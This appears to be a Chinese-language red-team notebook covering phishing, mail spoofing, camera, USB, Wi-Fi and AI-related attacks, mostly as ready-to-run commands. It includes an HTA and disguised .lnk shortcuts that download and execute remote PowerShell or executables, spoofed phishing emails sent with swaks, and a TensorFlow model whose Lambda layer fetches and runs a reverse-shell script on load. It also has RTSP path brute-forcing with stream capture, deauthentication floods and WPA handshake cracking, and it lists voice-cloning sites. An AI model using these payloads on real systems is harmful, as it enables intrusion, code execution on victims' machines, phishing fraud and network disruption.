渊蜂之书

钓鱼相关

.hta加载js源码

(逐渐抛弃,特定情况再使用,容易被浏览器沙箱gank)

<html>
<head>
<script language="JScript">
  var shell = new ActiveXObject("WScript.Shell");
  shell.Run("powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://攻击机IP/shell.ps1')");
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

lnk投放(快捷方式-命令执行)

首先需要在测试环境生成

加载反射源码

$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:USERPROFILE\Desktop\update.lnk")
$Shortcut.TargetPath = "cmd.exe"
$Shortcut.Arguments = "/c powershell -ExecutionPolicy Bypass -WindowStyle Hidden -c `"IEX(New-Object Net.WebClient).DownloadString('http://192.168.174.129:88/shell.ps1')`""
$Shortcut.WindowStyle = 7
$Shortcut.IconLocation = "C:\Windows\System32\shell32.dll,3"
$Shortcut.Save()

远程下载木马执行(无powershell)

$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:USERPROFILE\Desktop\update.lnk")
$Shortcut.TargetPath = "cmd.exe"
$Shortcut.Arguments = "/c certutil -urlcache -split -f http://192.168.174.129:88/fuck.exe C:\Windows\Tasks\fuck.exe && C:\Windows\Tasks\fuck.exe"
$Shortcut.WindowStyle = 7  # 最小化窗口
$Shortcut.IconLocation = "C:\Windows\System32\shell32.dll,23"  # 文档图标
$Shortcut.Save()

也可以利用下面的命令反向查找lnk文件指向

powershell -c "$sh = New-Object -ComObject WScript.Shell; $sh.CreateShortcut('.\target.lnk').TargetPath"

wsh载荷构筑(js载荷构筑,csharp载荷转换js)

dontnettojscript 转换命令

DotNetToJScript.exe ExampleAssembly.dll --lang=jscript --var=v4 -o shell.js

邮件方向利用

smtp枚举用户名

使用工具

github.com/cytopia/smtp-user-enum?tab=readme-ov-file#smiling_imp-vrfy-mode-default

RCPT TO模式(指点收件人发送,模拟正常邮件)

smtp-user-enum -U /home/wackymaker/tools/dic/userNameDict/multiplesources-users-fabian-fingerle.de.txt -D $domain -t $ip -m $线程数 -p $port -M RCPT

VRFY模式(默认的直接测试模式)

smtp-user-enum -U /home/wackymaker/tools/dic/userNameDict/multiplesources-users-fabian-fingerle.de.txt -D $domain -t $ip -m $线程数 -p $port

邮件钓鱼-投放载荷or恶意链接

一般需要将各种模式都测试一下

swaks-邮件伪造

附带文件
swaks --to jobs@cowmotors-int.com --from amit@rocks.com --header "Subject: My CV" --body "Attached my CV to this mail, thank you!" --attach @rev.doc --server 192.168.209.201
钓鱼链接
swaks --body 'Please click here http://192.168.45.164/payload.hta' --add-header "MIME-Version: 1.0" --add-header "Content-Type:text/html" --header "Subject: Issues with mail" --to Will@tricky.com --from will01@tricky.com --server 192.168.105.159

摄像头方向利用

rstp服务利用

如果侦测到存在rstp服务,也就是实时视频流服务,例如

┌──(wackymaker㉿kali)-[~/tmp/prolab/fullhouse/10.0.52.5]
└─$ nmap -p 22,554 -sC -sV $ip
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-07 10:33 EDT
Nmap scan report for 10.0.52.5
Host is up (0.063s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.3 (FreeBSD 20230316; protocol 2.0)
| ssh-hostkey: 
|   3072 da:27:2d:b4:15:43:bf:71:21:50:a8:b5:e7:3f:fa:10 (RSA)
|   256 fb:cf:94:03:5b:a4:1c:85:b4:51:94:26:7c:cf:6e:0f (ECDSA)
|_  256 f6:0d:01:16:88:0f:c5:45:8d:67:6d:f3:63:11:8f:7c (ED25519)
554/tcp open  rtsp    GStreamer rtspd
|_rtsp-methods: OPTIONS, DESCRIBE, ANNOUNCE, GET_PARAMETER, PAUSE, PLAY, RECORD, SETUP, SET_PARAMETER, TEARDOWN
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.96 seconds

利用nmap脚本爆破无认证路径

脚本获取
https://blog.victormendonca.com/2018/02/09/how-to-scan-for-rtsp-urls/
nmap --script rtsp-url-brute.nse -p 554 $ip -T2

如果爆破出路径例下

└─$ nmap --script rtsp-url-brute.nse -p 554 10.0.52.5 -T2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-07 11:05 EDT
Nmap scan report for 10.0.52.5
Host is up (0.27s latency).

PORT    STATE SERVICE
554/tcp open  rtsp
| rtsp-url-brute: 
|   discovered: 
|_    rtsp://10.0.52.5/mpeg4

Nmap done: 1 IP address (1 host up) scanned in 59.19 seconds

就可以利用ffmpeg截取视频流

ffmpeg -rtsp_transport tcp -i rtsp://1$ip/mpeg4 -c copy out.mp4

ai方向利用

ai语音克隆

好用的网站
https://app.play.ht/home(付费下载)
https://fish.audio(免费)

tensorflow投毒

文章如下

https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model

示例生成模型代码

import tensorflow as tf

def exploit(x):
    import os
    command = '''powershell -nop -c "Invoke-WebRequest http://10.0.52.31:8000/rev.ps1 -OutFile C:\\Users\\Public\\rev.ps1";powershell -ExecutionPolicy Bypass -File "C:\\Users\\Public\\rev.ps1"'''
    os.system(command)
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("wacky.h5")

usb方向利用

linux抓取挂载usb所有信息

进入系统利用mount查看挂载设备

mount
检查这个分区/dev/sdb
#举例如下
/dev/sdb on /media/usbstick type ext4 (ro,nosuid,nodev,noexec,relatime,data=ordered)

分区简介

/dev/sda	第一块硬盘(整块)	比如内置系统盘
/dev/sda1	sda 的第一个分区	/ 可能就在这个分区
/dev/sdb	第二块硬盘(整块)	比如插入的 U 盘
/dev/sdb1	sdb 的第一个分区	通常是 U 盘的可见分区
/dev/sdc2	第三块硬盘的第二个分区	例如移动硬盘

利用dd将这个分区原始数据全部抓取并生成镜像

sudo dd if=/dev/sdb of=usb.img bs=4M

#sudo	以管理员权限运行,因为访问 /dev/sdb(块设备)需要 root 权限。
#dd	名字来源是 “Data Description”(数据描述),是 Unix 系统的一个复制工具。
#if=/dev/sdb	if 是 input file 的意思,这里指从 整块磁盘 读数据(原始块级别)。
#of=usb.img	of 是 output file 的意思,表示把数据写入这个文件中。
#bs=4M	块大小(block size),每次复制 4MB,提高效率。默认是 512 字节,太慢。

将生成的usb.img抓取到本地linux并加载

sudo losetup -fP usb.img
#该命令将 usb.img 映射为一个 loop 设备(如 /dev/loop0),并自动处理其中的分区信息(如 /dev/loop0p1

之后就可以利用了,比如自动分配信息为如下

└─$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
loop0    7:0    0   10M  0 loop 
sda      8:0    0 80.1G  0 disk 
└─sda1   8:1    0 80.1G  0 part /

挂载并当目录利用

sudo mkdir -p /mnt/usbimg
sudo mount /dev/loop0 /mnt/usbimg

恢复此u盘所有删除信息

sudo extundelete /dev/loop0p1 --restore-all

wifi无线相关

linux连接wifi相关

查看无线网卡状态

iwconfig

激活网卡

sudo ip link set wlan0 up

查看网卡真实强度

sudo cat /sys/kernel/debug/ieee80211/phy*/mt76/txpower_sku | grep tmac

查看wifi列表

nmcli dev wifi list
or
iwlist wlan0 scan |  grep 'Cell\|Quality\|ESSID\|IEEE'

连接wifi

nmcli dev wifi connect "SSID" password "PASSWORD" ifname wlan0

查看当前连接

nmcli con show --active

断开连接并删除记录

nmcli con down id "SSID"

nmcli con delete id "SSID"

注意,如果我们不删除记录,可能在再次连接wifi的时候出现无法找到加密报错

Error: 802-11-wireless-security.key-mgmt: property is missing.

出现这种报错直接删除此wifi记录,或者手动指定加密方式(我给出的示例是wpa2)

nmcli dev wifi connect "SSID" password "PASSWORD" ifname wlan0 wifi-sec.key-mgmt wpa-psk

wireshark分析管理帧

查找来自ap的接入帧

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 8)

查找来自ap的探测请求帧

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 4)

查找来自ap的探测响应帧

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 5)

查找客户端和接入点之间的身份验证过程

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 11)

查找请求后的关联请求

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 0)

查找请求后的关联响应

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 1)

如果网络使用wpa2,可以使用EAPOL查看握手帧

eapol

查看取消关联帧或者身份验证帧

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 12) or (wlan.fc.type_subtype == 10)

网卡模式切换以及选定

托管模式(Managed)

最常见的形态,允许我们连接ap点进行无线连接

sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode managed
sudo ifconfig wlan0 up

临时模式(Ad-hoc)

一般用于去中心化的连接,也就是点对点的连接,用于住宅内部自设系统

大部分情况下这是两个桥接在一起的接口,所以需要指定桥接对象

sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode ad-hoc
sudo iwconfig wlan0 essid wackymaker
sudo ifconfig wlan0 up

中心模式(master)

这种模式,我们会成为一个ap点,所以不能简单的利用iwconfig进行设置,需要配置所谓的管理守护模式

wackymaker@kali[/kali]$ nano open.conf

interface=wlan0
driver=nl80211
ssid=Hello-World
channel=2
hw_mode=g

这段配置的意思是用 wlan0 网卡,通过 nl80211 驱动,在 2.4GHz 第 2 信道 上,开一个名为 Hello-World 的 Wi-Fi AP,工作模式是 802.11g(即 2.4G,速率可达 54Mbps)。

可以利用如下命令启动

sudo hostapd open.conf

节点模式(mesh)

节点模式是个有意思的模式,类似于临时模式是一种点对点的模式,但是不一样的是,当一个节点连入另一个节点后会自动的连接此节点连接的其他节点,如果节点 A 和节点 C 之间距离太远,但 A 和 B、B 和 C 能连上,那么数据就会 A → B → C 自动转发。这样 Mesh 网络可以覆盖非常大的区域。

设置节点模式

sudo iw dev wlan0 set type mesh

监听模式(Monitor)

我们wifi渗透测试最常用的节点,用于监听整个无线环境的连接,也能用来抓取连接包

sudo ifconfig wlan0 down
sudo iw wlan0 set monitor control
sudo ifconfig wlan0 up

或者

sudo ip link set wlan0 down #关闭网卡
sudo iw dev wlan0 set type monitor #将网卡设置为监听模式
or
sudo iw dev wlan0 set type managed #将网卡设置为普通模式
sudo ip link set wlan0 up #启动网卡
iwconfig wlan0 #查看当前网卡模式

aircrack-ng套件使用

arimon-ng(快捷监控)

开启监听或者关闭

sudo airmon-ng start $网卡
sudo airmon-ng stop $网卡0mon

检查干扰进程

sudo airmon-ng check 

杀掉全部干扰进程

sudo airmon-ng check kill

注意,这会使我们的网卡回归使可能会被锁定,不得使用托管功能,使用如下命令检查

sudo rfkill list all

如果被锁定,使用如下命令解封

sudo rfkill unblock wifi

Airodump-ng(数据包捕获)

输出截获所有数据情况

sudo airodump-ng wlan0mon

可选过滤参数

--bssid 34:29:12:A6:BA:48 #由mac地址筛选ap
--channel 或者 -c $number #由信道筛选ap
--essid "wifi名称" #由wifi名称筛选ap

截获5g数据

sudo airodump-ng wlan0mon --band a

a代表5g,b代表11兆限速的2.4g,g代表54兆限速的2.4g

所以想筛选全也可以

sudo airodump-ng wlan0mon --band abg

导出

airodump-ng wlan0mon --write wackymaker

会在当前目录生成
wackymaker-01.cap  
wackymaker-01.csv
wackymaker.kismet.csv
wackymaker.kismet.netxml
wackymaker.log.csv

Airgraph-ng(无线拓扑图)

生成客户端与ap关系图CAPR,生成的图片会可视化当前的ap和客户端连接情况

sudo airgraph-ng -i wacky-01.csv -g CAPR -o CAPR.png

还可以生成通用探针图CPG生成的图片会可视化当前ap和所有客户端的联系,包括并没有接入或者准备接入网络的客户端

sudo airgraph-ng -i wacky-01.csv -g CPG -o CAPR.png

Aireplay-ng(数据包注入)

测试当前网卡是否允许注入

sudo aireplay-ng --test wlan0mon

看到回显
Injection is working!
即可

洪水攻击(取消身份验证攻击)

sudo aireplay-ng -0 5 -a 00:14:6C:7A:41:81 -c 00:0F:B5:32:31:31 wlan0mon

-0 表示取消身份验证
5 是要发送的 deauth 次数;0 表示连续发送它们
-a 00:14:6C:7A:41:81 是接入点的 MAC 地址
-c 00:0F:B5:32:31:31 是要取消身份验证的客户端的 MAC 地址;如果省略,则连接的所有客户端都会被攻击

劫持四次握手爆破wpa/wpa2密码

调整到监听,开始抓包

sudo airmon-ng start
sudo airodump wlan0mon

找到存在客户端的wifi目标,利用–bssid以及-c筛选出来,启用-w保存抓包

sudo airodump wlan0mon --bssid "$目标wifi的bssid“ -c "$目标信道" -w $保存名称

抓包同时,另起窗口对此ap发动取消认证攻击

sudo aireplay-ng -0 5 -a 00:14:6C:7A:41:81 -c 00:0F:B5:32:31:31 wlan0mon

-0 表示取消身份验证
5 是要发送的 deauth 次数;0 表示连续发送它们
-a 00:14:6C:7A:41:81 是接入点的 MAC 地址
-c 00:0F:B5:32:31:31 是要取消身份验证的客户端的 MAC 地址;如果省略,则连接的所有客户端都会被攻击

只要看到抓包中notes字段出现EAPOL,则证明已经捕获4次握手,等待一分钟后断开抓包

我们得到的$名称-01.cap就是有价值的流量包

aircrach-ng爆破(使用cpu)

aircrack-ng test6-01.cap -w wifi_passlist_geo.txt

hashcat爆破(gpu爆破)

先转去以下网站转换hash

https://hashcat.net/cap2hashcat/

转换完毕的文件如下爆破

hashcat -m 22000 hash.file -w dic.txt

总结,实际操作后发现现实并不好攻击,字典量所需太大,后续恶意门户会研究